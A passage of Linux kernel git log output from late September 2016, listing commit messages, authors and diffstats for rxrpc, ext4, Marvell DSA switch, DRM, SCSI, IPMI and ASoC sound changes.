the current state from within the channel_lock to avoid someone changing it on us. (4) Reduce the local endpoint's services list to a single pointer as we don't allow service AF_RXRPC sockets to share UDP ports with other AF_RXRPC sockets, so there can't be more than one element in the list. (5) Request more ACKs in slow-start mode to help monitor the state driving the window configuration. (6) Display the serial number of the packet being ACK'd rather than the ACK packet's own serial number in the congestion trace as this can be related to other entries in the trace. ==================== Signed-off-by: David S. Miller commit 08bf21590041550e5ffd4d33e6a58548d0d09142 Author: Greg Kroah-Hartman Date: Fri Sep 30 07:46:35 2016 +0200 Revert "serial: pl011: add console matching function" This reverts commit 8b8f347d3a4859d22567f3b8e5bb4a69b1089739 as it causes build errors in linux-next Reported-by: Stephen Rothwell Cc: Aleksey Makarov Cc: Peter Hurley Cc: Russell King Cc: Christopher Covington Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/amba-pl011.c | 55 ----------------------------------------- 1 file changed, 55 deletions(-) commit 55be3145d174c04c44f1996eca8eb3a4476b1063 Author: Eric Biggers Date: Fri Sep 30 01:46:18 2016 -0400 fscrypto: use standard macros to compute length of fname ciphertext Signed-off-by: Eric Biggers Signed-off-by: Theodore Ts'o fs/crypto/fname.c | 17 +++++------------ 1 file changed, 5 insertions(+), 12 deletions(-) commit cc91542ac8f29d8446ef59234796b95f0fbce09a Author: Eric Biggers Date: Fri Sep 30 01:44:17 2016 -0400 ext4: do not unnecessarily null-terminate encrypted symlink data Null-terminating the fscrypt_symlink_data on read is unnecessary because it is not string data --- it contains binary ciphertext. Signed-off-by: Eric Biggers Signed-off-by: Theodore Ts'o fs/ext4/symlink.c | 2 -- 1 file changed, 2 deletions(-) commit e81d44778d1d57bbaef9e24c4eac7c8a7a401d40 Author: gmail Date: Fri Sep 30 01:33:37 2016 -0400 ext4: release bh in make_indexed_dir The commit 6050d47adcad: "ext4: bail out from make_indexed_dir() on first error" could end up leaking bh2 in the error path. [ Also avoid renaming bh2 to bh, which just confuses things --tytso ] Cc: stable@vger.kernel.org Signed-off-by: yangsheng Signed-off-by: Theodore Ts'o fs/ext4/namei.c | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) commit 4e9f4b39426de5053308ceadbfa3d066b7ef1288 Merge: df90a49 15b95a1 Author: David S. Miller Date: Fri Sep 30 01:31:51 2016 -0400 Merge tag 'wireless-drivers-next-for-davem-2016-09-29' of git://git.kernel.org/pub/scm/linux/kernel/git/kvalo/wireless-drivers-next Kalle Valo says: wireless-drivers-next patches for 4.9 Major changes: iwlwifi * work for new hardware support continues * dynamic queue allocation stabilization * improvements in the MSIx code * multiqueue support work continues * new firmware version support (API 26) * add 8275 series support * add 9560 series support * add support for MU-MIMO sniffer * add support for RRM by scan * add support for "reverse" rx packet injection faking hw descriptors * migrate to devm memory allocation handling * Remove support for older firmwares (API older than -17 and -22) wl12xx * support booting the same rootfs with both wl12xx and wl18xx hostap * mark the driver as obsolete ath9k * disable RNG by default ==================== Signed-off-by: David S. Miller commit df90a497047e41a67c0563e81496a2dc0d2f562d Merge: 31fbe81 ee4dc2e7 Author: David S. Miller Date: Fri Sep 30 01:26:04 2016 -0400 Merge branch 'dsa-global-cosmetics' Vivien Didelot says: ==================== net: dsa: mv88e6xxx: Global (1) cosmetics The Global (1) internal SMI device of Marvell switches is a set of registers providing support to different units for MAC addresses (ATU), VLANs (VTU), PHY polling (PPU), etc. Chips (like 88E6060) may use a different address for it, or have subtleties in the units (e.g. different number of databases, changing how registers must be accessed), making it hard to maintain properly. This patchset is a first step to polish the Global (1) support, with no functional changes though. Here's basically what it does: - add helpers to access Global1 registers (same for Global2) - remove a few family checks (VTU/STU FID registers) - s/mv88e6xxx_vtu_stu_entry/mv88e6xxx_vtu_entry/ - add a per-chip mv88e6xxx_ops structure of function pointers: struct mv88e6xxx_ops { int (*get_eeprom)(struct mv88e6xxx_chip *chip, struct ethtool_eeprom *eeprom, u8 *data); int (*set_eeprom)(struct mv88e6xxx_chip *chip, struct ethtool_eeprom *eeprom, u8 *data); int (*set_switch_mac)(struct mv88e6xxx_chip *chip, u8 *addr); int (*phy_read)(struct mv88e6xxx_chip *chip, int addr, int reg, u16 *val); int (*phy_write)(struct mv88e6xxx_chip *chip, int addr, int reg, u16 val); }; Future patchsets will add ATU/VTU ops, software reset, etc. ==================== Signed-off-by: David S. Miller commit ee4dc2e75337e5925e9434f28ec48374a65ffcd9 Author: Vivien Didelot Date: Thu Sep 29 12:22:02 2016 -0400 net: dsa: mv88e6xxx: add eeprom ops Remove EEPROM flags in favor of new {get,set}_eeprom chip-wide functions in the mv88e6xxx_ops structure. Signed-off-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/chip.c | 34 +++++++++++++++++++++------------- drivers/net/dsa/mv88e6xxx/mv88e6xxx.h | 16 +++++----------- 2 files changed, 26 insertions(+), 24 deletions(-) commit b073d4e2b16a42f7d5b01814307ff41012c2e1ea Author: Vivien Didelot Date: Thu Sep 29 12:22:01 2016 -0400 net: dsa: mv88e6xxx: add set_switch_mac to ops Add a set_switch_mac chip-wide function to mv88e6xxx_ops and remove MV88E6XXX_FLAG_G2_SWITCH_MAC flags. Signed-off-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/chip.c | 28 +++++++++++++++++++++------- drivers/net/dsa/mv88e6xxx/mv88e6xxx.h | 8 ++------ 2 files changed, 23 insertions(+), 13 deletions(-) commit b3469dd8adade11e8234854d79b43daf8ce478c9 Author: Vivien Didelot Date: Thu Sep 29 12:22:00 2016 -0400 net: dsa: mv88e6xxx: add chip-wide ops Introduce a mv88e6xxx_ops structure to describe supported chip-wide functions and assign the correct variant to the chip models. For the moment, add only PHY access routines. This allows to get rid of the PHY ops structures and the usage of PHY flags. Signed-off-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/chip.c | 136 +++++++++++++++++++++++++++------- drivers/net/dsa/mv88e6xxx/mv88e6xxx.h | 28 ++++--- 2 files changed, 121 insertions(+), 43 deletions(-) commit c08026aba70a97925512266d29429dbd62df497d Author: Vivien Didelot Date: Thu Sep 29 12:21:59 2016 -0400 net: dsa: mv88e6xxx: rename mv88e6xxx_ops The mv88e6xxx_ops is used to describe how to access the chip registers. It can be through SMI (via an MDIO bus), or via another interface such as crafted remote management frames. The correct BUS operations structure is chosen at runtime, depending on the chip address and connectivity. We will need the mv88e6xxx_ops name for future chip-wide operation structure, thus rename mv88e6xxx_ops to more explicit mv88e6xxx_bus_ops. Signed-off-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/chip.c | 10 +++++----- drivers/net/dsa/mv88e6xxx/mv88e6xxx.h | 8 ++++---- 2 files changed, 9 insertions(+), 9 deletions(-) commit b4e47c0fb94923781addbb4616fa82fd825ac7ec Author: Vivien Didelot Date: Thu Sep 29 12:21:58 2016 -0400 net: dsa: mv88e6xxx: rename mv88e6xxx_vtu_stu_entry The STU (if the switch has one) is abstracted and accessed through the VTU operations and data registers. Thus rename the mv88e6xxx_vtu_stu_entry struct to mv88e6xxx_vtu_entry. Signed-off-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/chip.c | 46 +++++++++++++++++------------------ drivers/net/dsa/mv88e6xxx/mv88e6xxx.h | 5 +--- 2 files changed, 24 insertions(+), 27 deletions(-) commit 370b4ffbd8dda2b1a61dc63a5ac3088d8e715d53 Author: Vivien Didelot Date: Thu Sep 29 12:21:57 2016 -0400 net: dsa: mv88e6xxx: add mv88e6xxx_num_ports helper Add an mv88e6xxx_num_ports helper instead of digging in the chip info structure. Signed-off-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/chip.c | 30 +++++++++++++++--------------- drivers/net/dsa/mv88e6xxx/global2.c | 8 ++++---- drivers/net/dsa/mv88e6xxx/mv88e6xxx.h | 5 +++++ 3 files changed, 24 insertions(+), 19 deletions(-) commit de33376b39b6ea939d53ea44c8c6595b80826501 Author: Vivien Didelot Date: Thu Sep 29 12:21:56 2016 -0400 net: dsa: mv88e6xxx: expose mv88e6xxx_num_databases The mv88e6xxx_num_databases will be used by shared code, so move it inline to the header file. Signed-off-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/chip.c | 5 ----- drivers/net/dsa/mv88e6xxx/mv88e6xxx.h | 5 +++++ 2 files changed, 5 insertions(+), 5 deletions(-) commit 6dc10bbc467d6f76e2665b865d0d8f9e0049b3e6 Author: Vivien Didelot Date: Thu Sep 29 12:21:55 2016 -0400 net: dsa: mv88e6xxx: add flags for FID registers Add flags to describe the presence of Global 1 ATU FID register (0x01) and VTU FID register (0x02), instead of checking families. Signed-off-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/chip.c | 16 +++------------- drivers/net/dsa/mv88e6xxx/mv88e6xxx.h | 24 ++++++++++++++++++++---- 2 files changed, 23 insertions(+), 17 deletions(-) commit 9fe850fb219e3fb729277b11229c2943bc5096a9 Author: Vivien Didelot Date: Thu Sep 29 12:21:54 2016 -0400 net: dsa: mv88e6xxx: abstract REG_GLOBAL2 Similarly to the ports, phys, and Global SMI devices, abstract the SMI device address of the Global 2 registers in a few g2 static helpers. Signed-off-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/global2.c | 78 ++++++++++++++++++++++------------- drivers/net/dsa/mv88e6xxx/mv88e6xxx.h | 1 - 2 files changed, 49 insertions(+), 30 deletions(-) commit a935c0523c852feb619a050597bb545e7c818d81 Author: Vivien Didelot Date: Thu Sep 29 12:21:53 2016 -0400 net: dsa: mv88e6xxx: add global1 helpers The Global (1) internal SMI device is an extended set of registers containing ATU, PPU, VTU, STU, etc. It is present on every switches, usually at SMI address 0x1B. But old models such as 88E6060 access it at address 0xF, thus using REG_GLOBAL is erroneous. Add a global1_addr info member used by mv88e6xxx_g1_{read,write} and mv88e6xxx_g1_wait helpers in a new global1.c file. This patch finally removes _mv88e6xxx_reg_{read,write}, in favor on the appropriate helpers. No functional changes here. Signed-off-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/Makefile | 1 + drivers/net/dsa/mv88e6xxx/chip.c | 505 +++++++++++++++++----------------- drivers/net/dsa/mv88e6xxx/global1.c | 34 +++ drivers/net/dsa/mv88e6xxx/global1.h | 23 ++ drivers/net/dsa/mv88e6xxx/mv88e6xxx.h | 2 +- 5 files changed, 306 insertions(+), 259 deletions(-) commit 16c54688592ce8eea85d2a26d37b64fa07e3e233 Author: Jan Kara Date: Fri Sep 30 01:03:17 2016 -0400 ext4: Allow parallel DIO reads We can easily support parallel direct IO reads. We only have to make sure we cannot expose uninitialized data by reading allocated block to which data was not written yet, or which was already truncated. That is easily achieved by holding inode_lock in shared mode - that excludes all writes, truncates, hole punches. We also have to guard against page writeback allocating blocks for delay-allocated pages - that race is handled by the fact that we writeback all the pages in the affected range and the lock protects us from new pages being created there. Signed-off-by: Jan Kara Signed-off-by: Theodore Ts'o fs/ext4/inode.c | 40 ++++++++++++++++++---------------------- 1 file changed, 18 insertions(+), 22 deletions(-) commit 28a396545a2a5fbdffb2b661ed6c9b6820e28772 Merge: b2d7e08 a481daa Author: Dave Airlie Date: Fri Sep 30 13:18:26 2016 +1000 Merge branch 'drm-next-4.9' of git://people.freedesktop.org/~agd5f/linux into drm-next Some additional fixes for 4.9: - The rest of Christian's GTT rework which fixes a long standing bug in the GPUVM code among other things - Changes to the pci shutdown callbacks for certain hypervisors - Fix hpd interrupt storms on eDP panels which have the hpd interrupt enabled by the bios - misc cleanups and bug fixes * 'drm-next-4.9' of git://people.freedesktop.org/~agd5f/linux: (33 commits) drm/radeon: always apply pci shutdown callbacks drm/amdgpu: always apply pci shutdown callbacks (v2) drm/amdgpu: improve VM PTE trace points drm/amdgpu: fix GART_DEBUGFS define drm/amdgpu: free userptrs even if GTT isn't bound drm/amd/amdgpu: Various cleanups for DCEv6 drm/amdgpu: fix BO move offsets drm/amdgpu: fix amdgpu_move_blit on 32bit systems drm/amdgpu: fix gtt_mgr bo's offset drm/amdgpu: fix initializing the VM BO shadow drm/amdgpu: fix initializing the VM last eviction counter drm/amdgpu: cleanup VM shadow BO unreferencing drm/amdgpu: allocate GTT space for shadow VM page tables drm/amdgpu: rename all rbo variable to abo v2 drm/amdgpu: remove unused member from struct amdgpu_bo drm/amdgpu: add a custom GTT memory manager v2 drm/amdgpu/dce6: disable hpd on local panels drm/amdgpu/dce8: disable hpd on local panels drm/amdgpu/dce11: disable hpd on local panels drm/amdgpu/dce10: disable hpd on local panels ... commit b2d7e08903e62b9f504fe6a954425b737aa9ff96 Merge: 011a9b9 08ee017 Author: Dave Airlie Date: Fri Sep 30 13:00:36 2016 +1000 Merge tag 'drm/tegra/for-4.9-rc1' of git://anongit.freedesktop.org/tegra/linux into drm-next drm/tegra: Changes for v4.9-rc1 One bugfix that avoids overwriting the Y plane base address when displaying buffers with one of the YUV/YVU formats. * tag 'drm/tegra/for-4.9-rc1' of git://anongit.freedesktop.org/tegra/linux: drm/tegra: Fix window[0] base address corruption commit 011a9b9d50c952de93a984e971d1865946641577 Merge: c0d5fb4 c96f566 Author: Dave Airlie Date: Fri Sep 30 12:56:31 2016 +1000 Merge tag 'drm/panel/for-4.9-rc1' of git://anongit.freedesktop.org/tegra/linux into drm-next drm/panel: Changes for v4.9-rc1 Adds support for one more panel to the simple-panel driver, fixes up a couple of delays and flags for existing panels and finally adds a new driver for the DSI panel found on Nexus 7 devices. * tag 'drm/panel/for-4.9-rc1' of git://anongit.freedesktop.org/tegra/linux: drm/panel: Add JDI LT070ME05000 WUXGA DSI Panel dt-bindings: Add JDI LT070ME05000 panel bindings drm/panel: simple: Fix bus_format for the Olimex LCD-OLinuXino-4.3TS drm/panel: simple-panel: Add delay timings for Starry KR122EA0SRA drm/panel: simple: Fix bus flags for Ortustech com43h4m85ulc drm/panel: simple: Add Innolux G101ICE-L01 panel drm/panel: simple: Add delay timing for Sharp LQ123P1JX31 drm/dsi: Implement DCS set/get display brightness drm/dsi: Order DCS helpers by command code commit 5404fb7cec7473413bc1dd2d114dbe7c291dfb15 Author: Joao Pinto Date: Fri Sep 23 12:52:52 2016 +0100 scsi: ufs: Kconfig fix Currently if we have PCI and UFSHCD configured in the kernel, both SCSI_UFS_DWC_TC_PCI and SCSI_UFSHCD_PCI show up, which is not correct. This patch changes the UFS Kconfig to assure hierarchy between the 2 options. Signed-off-by: Joao Pinto Signed-off-by: Martin K. Petersen drivers/scsi/ufs/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a8cfbcaec0c1214ddebf1b7a39aa0df545fbbf90 Author: Ondrej Zary Date: Tue Sep 27 21:00:25 2016 +0200 scsi: g_NCR5380: Stop using scsi_module.c Convert g_NCR5380 to use scsi_add_host instead of scsi_module.c Use pnp_driver and isa_driver to manage cards. In order to support multiple cards, new module parameter format is introduced. The old parameters are kept for compatibility. Signed-off-by: Ondrej Zary Acked-by: Finn Thain Signed-off-by: Martin K. Petersen Documentation/scsi/g_NCR5380.txt | 24 ++- drivers/scsi/g_NCR5380.c | 335 +++++++++++++++++++++++---------------- drivers/scsi/g_NCR5380.h | 8 - 3 files changed, 215 insertions(+), 152 deletions(-) commit d91f5afe595a3c4bdc1b755225024862c2e917f0 Author: Ondrej Zary Date: Tue Sep 27 21:00:24 2016 +0200 scsi: g_NCR5380: Reduce overrides[] from array to struct Remove compile-time card type definition GENERIC_NCR5380_OVERRIDE. Then remove all code iterating the overrides[] array and reduce it to struct card. Signed-off-by: Ondrej Zary Acked-by: Finn Thain Signed-off-by: Martin K. Petersen drivers/scsi/g_NCR5380.c | 351 ++++++++++++++++++++++------------------------- 1 file changed, 167 insertions(+), 184 deletions(-) commit c47946c2dda311216ac11e981809b2d70609258f Author: Ondrej Zary Date: Tue Sep 27 21:00:23 2016 +0200 scsi: g_NCR5380: Remove deprecated __setup Remove deprecated __setup for parsing command line parameters. g_NCR5380.* parameters could be used instead. This might break existing setups with g_NCR5380 built-in (if there are any). But it has to go in order to remove the overrides[] array. Signed-off-by: Ondrej Zary Acked-by: Finn Thain Signed-off-by: Martin K. Petersen Documentation/scsi/g_NCR5380.txt | 10 --- drivers/scsi/g_NCR5380.c | 135 --------------------------------------- 2 files changed, 145 deletions(-) commit 73811c942954a1d2470656d1bd9e990e327ac580 Author: Wei Yongjun Date: Wed Sep 28 14:49:42 2016 +0000 scsi: ufs: Fix error return code in ufshcd_init() Fix to return a negative error code from the error handling case instead of 0, as done elsewhere in this function. Signed-off-by: Wei Yongjun Reviewed-by: Subhash Jadavani Reviewed-by: Kiwoong Kim Signed-off-by: Martin K. Petersen drivers/scsi/ufs/ufshcd.c | 1 + 1 file changed, 1 insertion(+) commit 6861285ce8f8a9a55aab4775847de6e48b2dc7f2 Author: Zang Leigang Date: Thu Aug 25 17:39:19 2016 +0800 scsi: ufs: Data Segment only needed for WRITE DESCRIPTOR Some devices have problems handling a Query UPIU with Data Segment set. Only set it for WRITE DESCRIPTOR commands. [mkp: updated patch description] Signed-off-by: Zang Leigang Reviewed-by: Subhash Jadavani Reviewed-by: Kiwoong Kim Signed-off-by: Martin K. Petersen drivers/scsi/ufs/ufshcd.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) commit a3e6061bad6292f2d5be3c1c4ccf1fa136517dec Author: Cédric Le Goater Date: Wed Sep 21 12:24:34 2016 +0200 ipmi/bt-bmc: add a dependency on ARCH_ASPEED Signed-off-by: Cédric Le Goater Signed-off-by: Corey Minyard drivers/char/ipmi/Kconfig | 1 + 1 file changed, 1 insertion(+) commit 1a377a79211a08c5c8a05c0b6dee6d5b13ef4107 Author: Joel Stanley Date: Wed Sep 21 19:35:53 2016 +0930 ipmi: Fix ioremap error handling in bt-bmc devm_ioremap_resource returns ERR_PTR so we can't check for NULL. Signed-off-by: Joel Stanley Acked-by: Cédric Le Goater Signed-off-by: Corey Minyard drivers/char/ipmi/bt-bmc.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 54f9c4d0778b3f9ab791b1b7eb1a5d2809f02f50 Author: Alistair Popple Date: Tue Sep 20 09:01:38 2016 +0200 ipmi: add an Aspeed BT IPMI BMC driver This patch adds a simple device driver to expose the iBT interface on Aspeed SOCs (AST2400 and AST2500) as a character device. Such SOCs are commonly used as BMCs (BaseBoard Management Controllers) and this driver implements the BMC side of the BT interface. The BT (Block Transfer) interface is used to perform in-band IPMI communication between a host and its BMC. Entire messages are buffered before sending a notification to the other end, host or BMC, that there is data to be read. Usually, the host emits requests and the BMC responses but the specification provides a mean for the BMC to send SMS Attention (BMC-to-Host attention or System Management Software attention) messages. For this purpose, the driver introduces a specific ioctl on the device: 'BT_BMC_IOCTL_SMS_ATN' that can be used by the system running on the BMC to signal the host of such an event. The device name defaults to '/dev/ipmi-bt-host' Signed-off-by: Alistair Popple Signed-off-by: Jeremy Kerr Signed-off-by: Joel Stanley [clg: - checkpatch fixes - added a devicetree binding documentation - replace 'bt_host' by 'bt_bmc' to reflect that the driver is the BMC side of the IPMI BT interface - renamed the device to 'ipmi-bt-host' - introduced a temporary buffer to copy_{to,from}_user - used platform_get_irq() - moved the driver under drivers/char/ipmi/ but kept it as a misc device - changed the compatible cell to "aspeed,ast2400-bt-bmc" ] Signed-off-by: Cédric Le Goater Acked-by: Arnd Bergmann [clg: - checkpatch --strict fixes - removed the use of devm_iounmap, devm_kfree in cleanup paths - introduced an atomic-t to limit opens to 1 - introduced a mutex to protect write/read operations] Acked-by: Rob Herring Signed-off-by: Cédric Le Goater Signed-off-by: Corey Minyard Documentation/devicetree/bindings/ipmi.txt | 25 - .../bindings/ipmi/aspeed,ast2400-bt-bmc.txt | 23 + .../devicetree/bindings/ipmi/ipmi-smic.txt | 25 + drivers/Makefile | 2 +- drivers/char/ipmi/Kconfig | 7 + drivers/char/ipmi/Makefile | 1 + drivers/char/ipmi/bt-bmc.c | 510 +++++++++++++++++++++ include/uapi/linux/Kbuild | 1 + include/uapi/linux/bt-bmc.h | 18 + 9 files changed, 586 insertions(+), 26 deletions(-) commit ed1e8679d8bc6537077d1f24bc83b396f6062f09 Author: David Howells Date: Thu Sep 29 22:37:16 2016 +0100 rxrpc: Note serial number being ACK'd in the congestion management trace Note the serial number of the packet being ACK'd in the congestion management trace rather than the serial number of the ACK packet. Whilst the serial number of the ACK packet is useful for matching ACK packet in the output of wireshark, the serial number that the ACK is in response to is of more use in working out how different trace lines relate. Signed-off-by: David Howells net/rxrpc/input.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit b112a67081e4b06652ecde588bf1d5778fe43d75 Author: David Howells Date: Thu Sep 29 22:37:16 2016 +0100 rxrpc: Request more ACKs in slow-start mode Set the request-ACK on more DATA packets whilst we're in slow start mode so that we get sufficient ACKs back to supply information to configure the window. Signed-off-by: David Howells net/rxrpc/output.c | 1 + 1 file changed, 1 insertion(+) commit 1e9e5c9521d3667664a6e3c97075f71afec23720 Author: David Howells Date: Thu Sep 29 22:37:15 2016 +0100 rxrpc: Reduce the rxrpc_local::services list to a pointer Reduce the rxrpc_local::services list to just a pointer as we don't permit multiple service endpoints to bind to a single transport endpoints (this is excluded by rxrpc_lookup_local()). The reason we don't allow this is that if you send a request to an AFS filesystem service, it will try to talk back to your cache manager on the port you sent from (this is how file change notifications are handled). To prevent someone from stealing your CM callbacks, we don't let AF_RXRPC sockets share a UDP socket if at least one of them has a service bound. Signed-off-by: David Howells net/rxrpc/af_rxrpc.c | 21 ++++++++------------- net/rxrpc/ar-internal.h | 3 +-- net/rxrpc/call_accept.c | 8 ++++---- net/rxrpc/local_object.c | 3 +-- net/rxrpc/security.c | 8 ++++---- 5 files changed, 18 insertions(+), 25 deletions(-) commit 2629c7fa7c0adfdf023051b404cd538951bd0354 Author: David Howells Date: Thu Sep 29 22:37:15 2016 +0100 rxrpc: When activating client conn channels, do state check inside lock In rxrpc_activate_channels(), the connection cache state is checked outside of the lock, which means it can change whilst we're waking calls up, thereby changing whether or not we're allowed to wake calls up. Fix this by moving the check inside the locked region. The check to see if all the channels are currently busy can stay outside of the locked region. Whilst we're at it: (1) Split the locked section out into its own function so that we can call it from other places in a later patch. (2) Determine the mask of channels dependent on the state as we're going to add another state in a later patch that will restrict the number of simultaneous calls to 1 on a connection. Signed-off-by: David Howells net/rxrpc/conn_client.c | 36 +++++++++++++++++++++++++----------- 1 file changed, 25 insertions(+), 11 deletions(-) commit a1767077b0176de17fa40ec743a20cbdac7a0d56 Author: David Howells Date: Thu Sep 29 22:37:15 2016 +0100 rxrpc: Make Tx loss-injection go through normal return and adjust tracing In rxrpc_send_data_packet() make the loss-injection path return through the same code as the transmission path so that the RTT determination is initiated and any future timer shuffling will be done, despite the packet having been binned. Whilst we're at it: (1) Add to the tx_data tracepoint an indication of whether or not we're retransmitting a data packet. (2) When we're deciding whether or not to request an ACK, rather than checking if we're in fast-retransmit mode check instead if we're retransmitting. (3) Don't invoke the lose_skb tracepoint when losing a Tx packet as we're not altering the sk_buff refcount nor are we just seeing it after getting it off the Tx list. (4) The rxrpc_skb_tx_lost note is then no longer used so remove it. (5) rxrpc_lose_skb() no longer needs to deal with rxrpc_skb_tx_lost. Signed-off-by: David Howells include/trace/events/rxrpc.h | 6 ++++-- net/rxrpc/ar-internal.h | 3 +-- net/rxrpc/call_event.c | 2 +- net/rxrpc/misc.c | 1 - net/rxrpc/output.c | 17 +++++++++-------- net/rxrpc/sendmsg.c | 2 +- net/rxrpc/skbuff.c | 11 +++-------- 7 files changed, 19 insertions(+), 23 deletions(-) commit 8732db67c6b6dcdb455b73773ea2fc1e1d5024b1 Author: David Howells Date: Thu Sep 29 22:37:15 2016 +0100 rxrpc: Fix exclusive client connections Exclusive connections are currently reusable (which they shouldn't be) because rxrpc_alloc_client_connection() checks the exclusive flag in the rxrpc_connection struct before it's initialised from the function parameters. This means that the DONT_REUSE flag doesn't get set. Fix this by checking the function parameters for the exclusive flag. Signed-off-by: David Howells net/rxrpc/conn_client.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a4c6be5ad1d0c7af0c5421b68a00b6406b28a325 Author: Max Filippov Date: Thu Sep 29 10:51:05 2016 -0700 xtensa: disable MMU initialization option on MMUv2 cores MMU initialization option is currently ignored on MMUv2 cores, but it is used in Kconfig to select kernel load and start addresses. This choice is not available for MMUv2 cores as they have hardwired TLB entries. Disable MMU initialization option for known MMUv2 cores so that they get correct kernel load/start address by default. This fixes the default allmodconfig build. Signed-off-by: Max Filippov arch/xtensa/Kconfig | 1 + 1 file changed, 1 insertion(+) commit 513e43efafe329dad7b5794583b67ac898dcbdca Merge: 84b720f 3cadd22 c3d7abc b269ceb ab387b4 c7e9426 Author: Mark Brown Date: Thu Sep 29 12:44:49 2016 -0700 Merge remote-tracking branches 'asoc/topic/tpa6130a2', 'asoc/topic/ux500', 'asoc/topic/wm8960', 'asoc/topic/wm8962' and 'asoc/topic/wm8991' into asoc-next commit 84b720f0fec3d50b1b18333c8ecef694eea43b32 Merge: 5b56b9b e563751 c614a31 3520646 8891098 f918e16 Author: Mark Brown Date: Thu Sep 29 12:44:45 2016 -0700 Merge remote-tracking branches 'asoc/topic/tas5086', 'asoc/topic/tegra', 'asoc/topic/tlv320aic31xx', 'asoc/topic/tlv320dac33' and 'asoc/topic/topology' into asoc-next commit 5b56b9bb6ce64d72288a02dc3e8da5fc3eb0344a Merge: 096388b 904a987 899a247 f2b2f6d b7c8c5d c9e902f Author: Mark Brown Date: Thu Sep 29 12:44:41 2016 -0700 Merge remote-tracking branches 'asoc/topic/sgtl5000', 'asoc/topic/simple', 'asoc/topic/stac9766', 'asoc/topic/sti' and 'asoc/topic/sunxi' into asoc-next commit 096388b76a1ba32d1b1e20bcc0e6b4901544eed1 Merge: d053c2b 8cc1236 782f072 8912853 5f6af6a Author: Mark Brown Date: Thu Sep 29 12:44:37 2016 -0700 Merge remote-tracking branches 'asoc/topic/rt5659', 'asoc/topic/rt5660', 'asoc/topic/rt5677' and 'asoc/topic/samsung' into asoc-next commit d053c2b9b2193cbcba58d21ca15a50f6cd17a5c1 Merge: 971dec8 05f9033 3a6f9dc 51a5764 Author: Mark Brown Date: Thu Sep 29 12:44:34 2016 -0700 Merge remote-tracking branches 'asoc/topic/qcom', 'asoc/topic/rockchip' and 'asoc/topic/rt5616' into asoc-next commit 971dec826c211c8fef4ed5b6db2cb048873a020b Merge: 3b495e4 ec10396 5193029 9be072a 1e81403 Author: Mark Brown Date: Thu Sep 29 12:44:31 2016 -0700 Merge remote-tracking branches 'asoc/topic/nau8810', 'asoc/topic/of-bool', 'asoc/topic/omap' and 'asoc/topic/platform-drvdata' into asoc-next commit 3b495e4bf34b5e4ad2658e08694493e6068e2e5d Merge: ee61b89 408ef7e 349fa18 478cc9f 22e7661 Author: Mark Brown Date: Thu Sep 29 12:44:27 2016 -0700 Merge remote-tracking branches 'asoc/topic/max98371', 'asoc/topic/max9867', 'asoc/topic/max98926' and 'asoc/topic/mtk' into asoc-next commit ee61b892980329ccebf3a9da9ae32442c3d14f4f Merge: 480d060 35397ed f26b3b2 c59b24f 3fb7b4e Author: Mark Brown Date: Thu Sep 29 12:44:24 2016 -0700 Merge remote-tracking branches 'asoc/topic/dwc', 'asoc/topic/fsl', 'asoc/topic/gpio-chip' and 'asoc/topic/hdmi' into asoc-next commit 480d060b9e45c17933b2566401a2f1b12e7dc826 Merge: acf6470 72dce36 a56a569 94d215c Author: Mark Brown Date: Thu Sep 29 12:44:21 2016 -0700 Merge remote-tracking branches 'asoc/topic/da7218', 'asoc/topic/da7219' and 'asoc/topic/dpcm' into asoc-next commit acf6470ab538402689f01b112d08471cfbb19e8b Merge: 7c90fc7 3597fce e094e8f 4d48298 d936d52 Author: Mark Brown Date: Thu Sep 29 12:44:16 2016 -0700 Merge remote-tracking branches 'asoc/topic/cs35l30', 'asoc/topic/cs42l73', 'asoc/topic/cs53l30' and 'asoc/topic/da7213' into asoc-next commit 7c90fc73bf78aa1f390c65f86a43ffae543a248d Merge: 81af726 52abe54 c14c59f 8c7788f 032ca4a 8180bd5 Author: Mark Brown Date: Thu Sep 29 12:44:07 2016 -0700 Merge remote-tracking branches 'asoc/topic/ac97', 'asoc/topic/ak4104', 'asoc/topic/arizona', 'asoc/topic/atmel' and 'asoc/topic/codec-component' into asoc-next commit 81af726167a12329409151c01ac439a4cea21189 Merge: 6095552 4b9c75e Author: Mark Brown Date: Thu Sep 29 12:44:02 2016 -0700 Merge remote-tracking branch 'asoc/topic/rcar' into asoc-next commit 609555213a36359dcadf7f84412d0489961ab085 Merge: 4a2447b 115c725 Author: Mark Brown Date: Thu Sep 29 12:44:00 2016 -0700 Merge remote-tracking branch 'asoc/topic/pcm' into asoc-next commit 4a2447b483e17c580ed1d7c9cde3267d9c3a380f Merge: 00f12db 0730bd2 Author: Mark Brown Date: Thu Sep 29 12:43:59 2016 -0700 Merge remote-tracking branch 'asoc/topic/intel' into asoc-next commit 00f12dbd3c33bb46b2d5e122406410b325b2c77d Merge: e4cf86a c804600 Author: Mark Brown Date: Thu Sep 29 12:43:58 2016 -0700 Merge remote-tracking branch 'asoc/topic/dapm' into asoc-next commit e4cf86a35ca1bc7c2de3ebb34bb5e8aa79c5bca9 Merge: b669010 a114580 Author: Mark Brown Date: Thu Sep 29 12:43:55 2016 -0700 Merge remote-tracking branch 'asoc/fix/tpa6130a2' into asoc-linus commit b669010e5878dfda9c1b494f96fc122b67f8d880 Merge: 4a1ff03 e87d9ae 96fc294 a8961ca a1338a7 189f06c Author: Mark Brown Date: Thu Sep 29 12:43:51 2016 -0700 Merge remote-tracking branches 